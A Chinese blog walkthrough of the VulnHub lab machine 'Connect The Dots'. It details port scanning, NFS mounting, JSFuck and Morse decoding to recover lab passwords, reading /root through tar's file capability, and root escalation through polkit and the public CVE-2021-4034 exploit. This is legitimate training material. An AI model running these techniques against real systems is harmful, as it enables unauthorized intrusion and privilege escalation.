无网站做cpa,wordpress template name,哪个网站的织梦源码好,局域网聊天工具排行目录
写在开头
第一步#xff1a;主机发现和端口扫描
第二步#xff1a;FTP和NFS渗透#xff08;失败#xff09;
第三步#xff1a;web渗透
第四步#xff1a;jsfuck解码
第五步#xff1a;再次FTP渗透与莫尔斯电码解码
第六步#xff1a;vim读取断电swp文件…目录
写在开头
第一步主机发现和端口扫描
第二步FTP和NFS渗透失败
第三步web渗透
第四步jsfuck解码
第五步再次FTP渗透与莫尔斯电码解码
第六步vim读取断电swp文件
第七步tar文件能力读取root.txt
第八步提权
suit之polkit利用提权
Linux Polkit 权限提升漏洞利用提权
总结与思考
写在开头 本篇博客在自己的理解之上根据大佬红队笔记的视频进行打靶详述了打靶的每一步思路并非复现writeup读者耐心看完定会有所收获。本靶机的打靶过程还挺长的下载就花费了挺长时间也可能是因为有好多知识点我不够了解同时最后采用了两种方式进行提权。靶机很有解密的性质同时也涉及到了有关意外断点产生的swp交换文件读取知识点与实际情况的渗透相似。靶机的难度不高但涉及到的知识点较为密集包括nfs挂载、jsfuck混淆、ftp多文件读取、文件图片隐写、莫尔斯电码解码、断电swp文件读取、polkit权限提升等完整打靶思路详见
「红队笔记」靶机精讲CONNECT THE DOTS - 不懂jsfuckpolkit图片隐写莫尔斯码和断电隐患你可能玩不转这台靶机。_哔哩哔哩_bilibili 本文针对的靶机源于vulnhub详情见
Connect The Dots: 1 ~ VulnHub 下载链接见
https://download.vulnhub.com/connectthedots/Connect-The-Dots.ova 本靶机的目标是拿到两个flag即可即user.txt和root.txt。不过考虑到本靶机的特殊性本文还是以拿到最终root权限为打靶成功的标志。靶机下载成功后用vmware打开将网络链接设置为NAT模式。靶机启动之后如下 第一步主机发现和端口扫描 常规思路首先进行主机发现
nmap -sn 10.10.10.0/24
我kali的地址是10.10.10.128扫出来靶机的ip是10.10.10.151然后扫描所有端口将结果保存在portscan 得到开放的端口信息说白了就是方便复制用/作分隔符取第一位并将换行符替换为,
cat portscan.nmap | grep open | awk -F / {print $1} | tr \n , 然后详细扫描这些tcp端口包括操作系统版本-O服务版本-V用默认脚本-sC进行扫描
nmap -sT -sV -sC -O -p21,80,111,2049,7822,37381,39995,48903,53453 10.10.10.151 信息量很大重点看的是111和2049端口都涉及到nfs网络文件系统的挂载。同时ssh端口修改到了7822。后面的端口是动态端口没什么有用信息。这里再用默认的漏洞扫描脚本进行尝试
nmap --scriptvuln -p21,80,111,2049,7822 10.10.10.151 漏洞脚本扫描其实没有太多的信息发现了一个sql注入还有一些目录枚举的内容。
第二步FTP和NFS渗透失败 分析渗透思路。由于FTP可以算是低摘的果子我们干脆从21端口入手先对ftp进行匿名登陆尝试再查看有没有nfs挂载的目录接着再对web进行渗透实在不行再考虑ssh。 先尝试登录ftp 可惜无法匿名登录看来ftp这条路走不通我们再用showmount尝试查看有没有挂载目录-e参数用于导出挂载目录
showmount -e 10.10.10.151 确实存在挂载目录/home/morris这也说明这个靶机有一个用户名是morris说不定以后我们能拿到这个账号的权限。此时我们新建一个目录mor尝试能不能把靶机的开放目录挂载连接到mor-t指定类型nfs
mount -t nfs 10.10.10.151:/home/morris mor 感觉还是存在很多信息的但经过尝试隐藏目录都没有进入权限也没有查找到什么有用的信息。 这里我看红队笔记大佬的视频他尽然是可以进入.ssh目录的很奇怪按道理说这个所在组和其他组应该都没有读权限的。总之这条路是走不通的。
第三步web渗透
打开浏览器访问靶机ip可以看到如下的界面这个页面的加载略显卡顿 其实这个界面就是一些文字和图片。查看源代码也没什么收获。不过初看下面这段文字可能会有一些线索 You know how our family have named us, right? Them naming me M and you N. Well, our names are entirely the same except the initials. Life is too short to save names in your memory when youre old, so why not! But do you know who did that? Our mother who was fond of the James Bond movies. She named me after her as M. Perhaps, she thinks that the director of the movie was too lazy to think of one. 首先尽然有拼错的单词可能是开发者打字太快了。然后这句话暗示了我们的名字只有首字母的不一样的而我是“M”你是“N”。结合之前发现的一个账号morris可以猜测存在另外一个用户名norris。当然此处仅仅是猜测后面会证实。 这也看不出来啥进行一个目录爆破吧
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.151还是有一些收获的发现几个目录images,manual,javascript,mysite等还有一个路径backups先看一下这个backups 尽然是个奇怪的视频播放着几张图片可能存在隐写啥的。这里先暂时不管。然后发现images就是初始页面的图片目录manual是apache的配置界面。javascript没有什么值得关注的内容。进入mysite目录 这个目录中有一个文件bootstrap.min.cs这个文件名的后缀我还真不知道是啥点开发现有一大串字符感觉像是一种程序语言分析这个文件结合末尾的setInterval( function() {console.log(a)}, 3000);判断可能与javascript相关 第四步jsfuck解码 这里感觉类似CTF其实需要经验就是我们看到的由一大堆[]()!组成编码的字符其实是jsfuck这是一种针对javascript程序的混淆方法。 和我们上一期打靶Narak中的brainfuck类似。 那么我们当然就要对这个jsfuck进行解码了。进行解码之前应该先把完整的jsfuck内容复制下来。可以直接复制并依次删除非jsfuck的字符也可以像下面这样在mysite目录下发现了register.html页面 查看源代码发现这个页面会调用含有jsfuck语句的bootstrap.min.cs 而 bootstrap.min.cs文件中的jsfuck语句正是由变量b1,b2,...b10拼接而成因此直接在这个页面的console控制台用console.log将所有的字符串变量拼接即可
console.log(b1b2b3b4b5b6b7b8b9b10) 然后我们搜索一个在线解码器把拼接而成的超长jsfuck字符串进行解码
JSFuck - Write any JavaScript with 6 Characters: []()! 解码成功了出现了alert的提示信息 Youre smart enough to understand me. Heres your secret, TryToGuessThisNorris2k19 TryToGuessThisNorris2k19应该就是一个凭据那账号是啥呢根据推理应该是norris这既源于开头web页面的提示也源于密码本身就含有norris总之我们尝试能否使用这个凭据登录ssh。可能的用户就只有root/morris/norris三个注意ssh端口修改为7822经过尝试发现norris登录成功
ssh norris10.10.10.151 -p 7822 成功拿到了user.txt 第五步再次FTP渗透与莫尔斯电码解码 同时在当前目录下看到了ftp文件夹为了方便我们将ftp内的文件下载到kali本地进行分析因此我们在kali中再次通过norris账号密码TryToGuessThisNorris2k19登录ftp成功 发现ftp中有文件夹files进入目录把里面的内容全都下载到本地 这里需要注意的是如果目录下的文件不是文本.txt文件的话需要先运行binary指令即输入binary然后回车转换为二进制格式以保证通过FTP下载的文件不会损坏。此处又运行了prompt指令关闭了交互模式就不用对每个下载都逐一确认了。 如上图所示四个文件都下载到本地了 接下来我们使用file工具逐一查看发现backups.bak是一个iso媒体文件没找到什么有用信息game.jpg.bak文件好像备注信息comment中有类似莫尔斯电码的东西 用exiftools详细查看 我们可以将这段摩尔斯密码复制下来找个在线网页尝试解密
Morse Code Translator - Morse Decoder 解密成功了 解密后内容如下 HEY#NORRIS,#YOUVE#MADE#THIS#FAR.#FAR#FAR#FROM#HEAVEN#WANNA#SEE#HELL#NOW?#HAHA#YOU#SURELY#MISSED#ME,#DIDNT#YOU?#OH#DAMN#MY#BATTERY#IS#ABOUT#TO#DIE#AND#I#AM#UNABLE#TO#FIND#MY#CHARGER#SO#QUICKLY#LEAVING#A#HINT#IN#HERE#BEFORE#THIS#SYSTEM#SHUTS#DOWN#AUTOMATICALLY.#I#AM#SAVING#THE#GATEWAY#TO#MY#DUNGEON#IN#A#SECRETFILE#WHICH#IS#PUBLICLY#ACCESSIBLE. 说实话这么看可读性有点差干脆存成一个文件morse_decode然后把所有的#替换成空格再查看
cat morse_decode | tr # NORRIS, YOUVE MADE THIS FAR. FAR FAR FROM HEAVEN WANNA SEE HELL NOW? HAHA YOU SURELY MISSED ME, DIDNT YOU? OH DAMN MY BATTERY IS ABOUT TO DIE AND I AM UNABLE TO FIND MY CHARGER SO QUICKLY LEAVING A HINT IN HERE BEFORE THIS SYSTEM SHUTS DOWN AUTOMATICALLY. I AM SAVING THE GATEWAY TO MY DUNGEON IN A SECRETFILE WHICH IS PUBLICLY ACCESSIBLE. 这段话意思说他的电池很快就没电了他就要ger~了于是火速给我们留下一个信息他把关键的信息secretfile放在了公共的区域。那啥是公共的区域呢最容易想到的就是web的目录/var/www/html。不过在此之前我们还要查看其它两个文件 hits.txt.bak首先给出了一个网址我们访问这个网址看看有啥信息 给了我们一句提示 Remember! Keep your enumeration game strong! 记住枚举一定要尽全力 说白了就是再次强调不要遗漏信息。最后一个文件m.gif.bak没发现什么特殊的。 第六步vim读取断电swp文件
进入web目录/var/www/gtml查找线索 还真有secretfile先查看secretfile 意思是我知道你来到这里是找密码的。电池就要没电啦下面的信息有些参考。
下面的信息在哪里我们看到最后还有一个.secretfile.swp文件直接cat是没有权限的
不过这个页面在web端我们可以把它wget下来 然后就可以查看了 感觉cat还是有点乱我们尝试用strings看一下其中的字符串信息 这里其实是非常巧妙的。由于swp文件是一种临时的交换文件通常在特殊异常退出的情况时会产生。结合strings中看到的字符串中存在vim再考虑到先前我们看到的好多提示都与快没电了电池耗尽相关。因此我们大胆猜测这个文件就是vim编辑时断点异常退出产生的我们可以使用vim -r参数读取损坏的swp文件 vim -r .secretfile.swp 这样子我们又得到了一串字符串blehguessme090这很可能是又一个凭据有可能是root或morris的凭据通过尝试我们发现这就是morris账户的凭据 第七步tar文件能力读取root.txt
下一步就是进行提权了。两个用户用哪个提权都没有倾向性因此根据用户组的信息我们还是选用norris进行提权起码norris所在用户组有sudo 经过一番sudo -l定时任务查找之后无果。决定使用getcap工具读取有没有文件具有特殊的文件能力。
/sbin/getcap -r / 2/dev/null发现有打包工具tar具有能力cap_dac_read_searchep cap_dac_read_searchep这是指定文件的扩展文件权限标志。它包含两个部分 cap_dac_read_search这是一种扩展文件权限标志表示该文件具有读取和搜索read/search访问权限通常用于文件系统的访问。具体来说这个标志允许 tar 命令读取文件和搜索目录而不需要使用者拥有完全的文件访问权限。 ep这部分表示该文件是一个具有执行权限execute permission的可执行文件。这意味着用户可以运行 /usr/bin/tar 命令并且它将以正常的用户身份执行而不需要特权root权限。ep 的意思是执行和提升权限effective privilege这允许 tar 在不需要完全的 root 权限的情况下执行一些特定高权限的操作。 说白了就是tar具有特殊高权限我们使用tar时哪怕没有拥有文件的访问权限也可以正常读取和搜索。 那我们直接用tar把/root目录打包然后再解压就可以看到flag即root.txt
tar -zcvf root.tar.gz /root 然后我们再解压即可读取root.txt
tar -zxvf root.tar.gz 至此就完成了靶机的要求但我们其实并没有提权。因此作为后续操作我们还是实现提权。
第八步提权
提权有两种方法先介绍红队笔记大佬的方法suid提权。
suit之polkit利用提权
首先寻找有s位的文件
find / -perm -us -type f 2/dev/null重点关注这个/usr/lib/policykit-1/polkit-agent-helper-1该文件的属主和数组都是root且具有s位权限可以以属主的身份运行应该可以提权 polkit是linux系统中针对文件权限管理的一套机制而helper相当于是充当一个介于操作者与被操作文件的一个中介会通过这个helper去调用执行文件。因此如果我们能够借助helper的高权限以root的身份调用bash即可实现提权。可以通过如下的命令实现触发polkit-agent-helper-1并借用polkit-agent-helper-1的root高权限启动bash进行提权。
可以使用systemd-run -r启动伪终端此时会通过polkit-agent-helper-1启动而polkit-agent-helper-1具有高权限因此就有可能实现提权。 完整命令如下
systemd-run -t /bin/bash 如图所示输入norris的凭据TryToGuessThisNorris2k19后提权成功 其中的红色字符正是polkit-agent-helper-1的作用。至此打靶完成。这里引用chatgpt的解释以下polkit和helper的机制 polkit-agent-helper 是一个用于帮助执行基于 PolicyKit即 Polkit的授权请求的工具它通常用于 Linux 操作系统中。 在 Linux 系统中PolicyKit 是一个用于管理系统范围的特权访问的工具。当需要执行需要特权的操作时通常会向 PolicyKit 发送授权请求。PolicyKit 会检查请求者的身份并基于定义的授权策略即 polkit 规则来决定是否授权该请求。 polkit-agent-helper 就是作为一个代理工具协助应用程序向 PolicyKit 发送授权请求并处理来自 PolicyKit 的响应。当一个应用程序需要执行特权操作时它会调用 polkit-agent-helper该工具会弹出一个对话框提示用户输入其凭证如密码然后将这些凭证发送给 PolicyKit 进行验证。如果用户提供的凭证被验证成功PolicyKit 就会授权该请求。 因此polkit-agent-helper 的提权原理可以简单概括为通过代理向 PolicyKit 发送授权请求并通过用户提供的凭证验证来获得特权访问。因为polkit-agent-helper所属用户是root且有s权限那么启用更高级的bash时就会利用特权提权。 Linux Polkit 权限提升漏洞利用提权
此处存在一个漏洞即Linux Polkit 权限提升漏洞这个漏洞通杀很多老版本的linux靶机可以直接在github上搜索CVE-2021-4034。 选择python编写的exp。你问我明明有C语言也有go语言写的exp为啥选python?因为我尝试了很多发现靶机上没有gcc也没有go语言的编译器没法编译但又python3因此可以运行python的exp。总之我们应该想方设法把这个exp放到靶机上github链接是joeammond/CVE-2021-4034: Python exploit code for CVE-2021-4034 (pwnkit) (github.com) 奈何靶机连git都没有没办法git clone因此咱还是在kali上git clone然后启动一个web服务再在靶机上通过wget拿到这个exp
git clone https://github.com/joeammond/CVE-2021-4034.git 然后用python启动一个http服务我这里就用1111端口了
python -m http.server 1111此时浏览器访问kali的ip:1111可以看到开放目录 回到靶机norris把这个CVE-2021-4034.py用wget下载下来 然后给这个脚本添加执行权限
chmod x CVE-2021-4034.py 运行即可提权 至此打靶完成。详细关于这个漏洞的描述可以参考Linux Polkit权限提升漏洞复现分析(CVE-2021-4034) - 知乎 (zhihu.com)
本文就懒得详细阐释了。
总结与思考 这个靶机知识点真多呀。涉及到ftp渗透、nfs挂载、目录爆破、jsfuck混淆破解、文件隐写、莫尔斯电码解码、vim读取断电swp文件、getcap查看文件能力、suid提权、polkit利用与pokit权限提升漏洞利用等等。感觉知识点很密集重点是不能放弃。像jsfuck、莫尔斯电码解码以及上一篇博客narak打靶中的brainfuck详见红队打靶Narak打靶思路详解vulnhub-CSDN博客都颇有CTF的感觉需要了解这些知识点否则哪怕看到了信息也可能会以为是乱码而忽略了重要线索。同时这个靶机有关读取swp文件的部分也很有趣前面就暗示我们快没电了最后产生的swp文件也符合真实情况。最后还是总结一下打靶过程 1.主机发现和端口扫描常规思路发现有ftp和nfs服务。以及常规的80web和ssh端口 2.FTP和NFS渗透由于FTP和NFS相对好入手先从这边查看发现ftp无法匿名登录此路不通再尝试寻找开放目录发现/home/morris但无法访问。 3.web渗透目录爆破发现敏感目录mysite其中有关键信息bootstrap.min.cs 4.jsfuck解码发现bootstrap.min.cs的内容是jsfuck在线解码找到一个初始凭据TryToGuessThisNorris2k19经过尝试发现是norris的ssh密码。 5.再次FTP渗透与莫尔斯电码解码登录norris的ssh发现存在ftp将ftp中的文件下载到本地后发现了文件隐写其中有莫尔斯电码解码提示我们寻找公开目录暗示我们访问web目录。 6.vim读取断电swp文件经过web目录的搜索找到了.secretfile.swp文件结合之前的断电线索我们判断这是vim编辑时断点异常退出产生的文件用vim -r参数修复会话读取了另外一个凭据blehguessme090经尝试发现这是morris账号的密码。 7.tar文件能力读取root.txt发现tar具有特殊高权限利用tar工具打包/root目录再解压即可读取flag即root.txt。 8.提权介绍了两种方法suit之polkit利用提权和Linux Polkit 权限提升漏洞利用提权。 总结这个靶机真的太费劲了也感谢红队笔记大佬的分享。 到此这个靶机就讲解完毕了。打完这个靶机感觉还是挺有收获的有很多新的知识点。靶机不难总结不易也有很多自己的思考希望读者能够点赞关注多多支持学渗透还是要实操呀。如果读者有什么打靶的问题也欢迎评论区留言指出我一定知无不言